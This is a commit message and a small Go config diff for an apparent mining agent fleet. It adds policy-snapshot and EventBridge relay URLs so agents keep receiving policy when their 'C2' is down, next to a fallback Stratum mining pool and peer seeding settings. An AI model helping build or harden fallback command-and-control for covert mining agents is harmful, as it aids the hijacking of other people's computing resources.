Add EventBridge policy fan-out for standalone degraded mode.

Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.

agent/config/config.go

@@ -151,6 +151,8 @@ type BuiltinConfig struct {
 	FleetTorrentEnabled bool
 	// SubnetPrimarySeeder is set on auth when this agent is the primary seeder for its /24.
 	SubnetPrimarySeeder bool
+	PolicySnapshotPollURL string
+	EventBridgeRelayURL   string
 }
 
 // BackupPool holds connection info for a fallback Stratum mining pool.